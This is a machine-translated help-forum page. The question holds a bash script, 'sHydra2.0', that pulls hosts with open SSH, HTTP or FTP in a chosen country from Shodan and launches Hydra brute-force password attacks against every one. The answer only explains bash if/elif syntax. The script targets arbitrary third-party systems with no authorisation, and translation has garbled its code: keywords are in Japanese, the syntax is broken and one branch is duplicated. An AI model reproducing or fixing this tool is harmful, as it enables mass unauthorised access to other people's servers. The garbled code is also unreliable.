#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0 は初期化中です。" echo「責任を持って使用してください。」 echo「あなたの誤った決定について私は責任を負いません。」 /bin/sleep 10 #!/bin /強打
echo -en "選択してください:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t選択してください:" read VAR
[[$ VAR = 1]]の場合
元のコードダウン##
ShodanのAPIキーリクエスト
echo "SSH-Brute の選択" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar
echo "2桁の国コードを入力してください....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:'
echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar
echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar
echo "SSH-Brute 初期化" shodan init $uservar
shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。
shodan検索ポート:22、国:$ countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0 -9]{1,3}' > $1 ;sort $1 -u > $1 |
wc -l < $1 && echo "SSH ターゲットがロードされました"
/bin/sleep 5 echo 「対象は範囲内です!」 / bin / sleep 5 echo "起動シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!"
/bin/sleep 5 read -rsn1 -p "中断する最後のチャンスです。続行するには任意のキーを押します" echo変数;
##カウントダウン関数秒= 10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";完了
##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」
Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##
Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##ファイルを現在のディレクトリに出力# echo "ファイルの保存場所: ${PWD}" fi
else if [[ $VAR = 2 ]] then #http Brute 部分的に新機能です!
ShodanのAPIキーリクエスト
/bin/sleep 5 echo "HTTP-Brute 進行中" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar /bin/sleep 5 echo "2 桁の国/地域コードを入力してください。 .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:' countvar
echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar
echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar
echo "HTTP ターゲットが初期化中です。" shodan init $uservar
shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。
shodan検索ポート:80、ログイン、国:$ countvar, 200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 ソート -u > $1
wc -l < $1 && echo "HTTP ターゲットがロードされました"
/bin/sleep 5 echo "HTTP ターゲットが範囲内にある!" /bin/sleep 5 echo "開始シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!"
/bin/sleep 10 read -rsn1 -p "中断する最後の機会です。続行するには任意のキーを押します" echo変数;
##カウントダウン関数秒= 10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";完了
##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」
Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##現在のディレクトリにファイルを出力します# echo "ファイルが保存される場所: ${PWD}" fi
###FTP機能## else if [[ $VAR = 3 ]] then #FTP新機能!
ShodanのAPIキーリクエスト
/bin/sleep 5 echo "FTP-Brute 進行中" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar /bin/sleep 5 echo "2 桁の国/地域コードを入力してください。 .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:' countvar
echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar
echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar
echo "HTTP ターゲットが初期化中です。" shodan init $uservar
shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。
shodan検索ポート:80、ログイン、国:$ countvar, 200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 ソート -u > $1
wc -l < $1 && echo "HTTP ターゲットがロードされました"
/bin/sleep 5 echo "HTTP ターゲットが範囲内にある!" /bin/sleep 5 echo "開始シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!" -rsn1 -p "中断する最後のチャンスです。続行するには任意のキーを押します" echo変数。
##カウントダウン関数秒= 10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";完了
##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」
Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##現在のディレクトリにファイルを出力します# echo "ファイルが保存される場所: ${PWD}" fi
答え1
Bashでは、if文のデフォルト構文は次のとおりです。
if ...; then
statement
elif ...; then
statement
else
statement
fi
たとえば、
if [ ! "$FOO" ]; then
echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
else
echo "Foo is set but does not equal 'yes'.";
fi
elif
(else-if)と句が必要ない場合は省略できます。else
if [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
fi
一部の人々は、if句の末尾に ";then"を使用せずに、少し異なる形式を好むでしょう。
if [ "$FOO" = "yes" ]
then
echo "Foo equals 'yes'."
fi